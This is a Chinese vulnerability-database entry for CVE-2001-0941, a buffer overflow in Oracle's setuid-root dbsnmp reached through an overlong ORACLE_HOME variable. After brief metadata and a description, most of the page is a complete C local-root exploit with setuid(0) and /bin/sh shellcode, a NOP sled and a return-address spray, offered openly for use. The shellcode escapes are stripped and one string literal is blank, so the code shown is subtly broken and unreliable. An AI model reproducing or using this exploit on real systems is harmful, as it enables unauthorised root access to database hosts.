Oracle DBSNMP Oracle Home环境变量缓冲区溢出

Oracle DBSNMP Oracle Home环境变量缓冲区溢出

漏洞ID 1106462 漏洞类型 缓冲区溢出
发布时间 2001-08-02 更新时间 2005-10-20
图片[1]-Oracle DBSNMP Oracle Home环境变量缓冲区溢出-安全小百科CVE编号 CVE-2001-0941
图片[2]-Oracle DBSNMP Oracle Home环境变量缓冲区溢出-安全小百科CNNVD-ID CNNVD-200111-061
漏洞平台 Windows CVSS评分 4.6
|漏洞来源
https://www.exploit-db.com/exploits/21044
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200111-061
|漏洞详情
Oracle8.0.6到9.0.1版本的dbsnmp存在缓冲区溢出漏洞。本地用户借助超长ORACLE_HOME环境变量执行任意代码。
|漏洞EXP
source: http://www.securityfocus.com/bid/3138/info

Oracle is an Enterprise level SQL database, supporting numerous features and options. It is distributed and maintained by Oracle Corporation.

When the ORACLE_HOME environment variable is filled with 750 bytes or more, a buffer overflow occurs. This overflow may be used to overwrite variables on the stack, including the return address. Since the dbsnmp program is setuid root, it is possible to gain elevated privileges, including administrative access.

To exploit this vulnerability, the user must be in the oracle group. 

/* Exploit code for dbsnmp binary in Oracle 8.1.6.0.0 Linux Platform. I tested it in RH 6.2.

dbsnmp makes setresuid(,getuid(),) before reading ORACLE_HOME environment variable. Its necessary to call setuid(0) before normal shellcode.

In My tests Offset may vary from 7846 to 7896. Its posible to obtain a normal (uid=oracle) shell for low offsets (incomplete setuid(0) jumps). 



"Cae fuego en lugar de mana
Se disfraza el asfalto de mar
El zapato no encuentra el pedal
Parece que anda suelto satanas."

			L.E.Aute
 


This vulnerability was researched by:
	Juan Manuel Pascual <[email protected]>

Special thanks to:

	Ivan Sanchez <[email protected]>
	Mundo Alonso-Cuevillas <[email protected]>
*/





#include <stdio.h>
#include <stdlib.h>

#define BUFFER                                  800
#define OFFSET                                 7896
#define NOP                                    0x90
#define BINARY  "/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp"


char shellcode[] =
"x90"		/* Additional NOP */
"x31xc0"	/* begin setuid (0) */
"x31xdb"
"xb0x17"
"xcdx80"

"xebx1f"
"x5e"
"x89x76x08"
"x31xc0"
"x88x46x07"
"x89x46x0c"
"xb0x0b"
"x89xf3"
"x8dx4ex08"
"x8dx56x0c"
"xcdx80"
"x31xdb"
"x89xd8"
"x40"
"xcdx80"
"xe8xdcxffxffxff"
"/bin/sh";


unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr,binary[120];
  long *addr_ptr, addr;
  int bsize=BUFFER;
  int i,offset=OFFSET;

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.n");
    exit(0);
  }

  addr = get_sp() -offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  memset(buff,bsize/2,NOP);

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

buff[bsize - 1] = '';
setenv("ORACLE_HOME",buff,1);
system(BINARY);
}
|参考资料

来源:otn.oracle.com
链接:http://otn.oracle.com/deploy/security/pdf/dbsmp_alert.pdf
来源:BUGTRAQ
名称:20011130ASIOracleSecurityAlert:OracleHomeEnvironmentVariableBufferOverflow
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=100716693806967&w;=2
来源:XF
名称:oracle-dbsnmp-home-bo(7643)
链接:http://xforce.iss.net/xforce/xfdb/7643
来源:BID
名称:3138
链接:http://www.securityfocus.com/bid/3138

相关推荐: MailEnable Enterprise 1.x – IMAPd Remote Overflow

MailEnable Enterprise 1.x – IMAPd Remote Overflow 漏洞ID 1054994 漏洞类型 发布时间 2005-04-05 更新时间 2005-04-05 CVE编号 N/A CNNVD-ID N/A 漏洞平台 Li…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享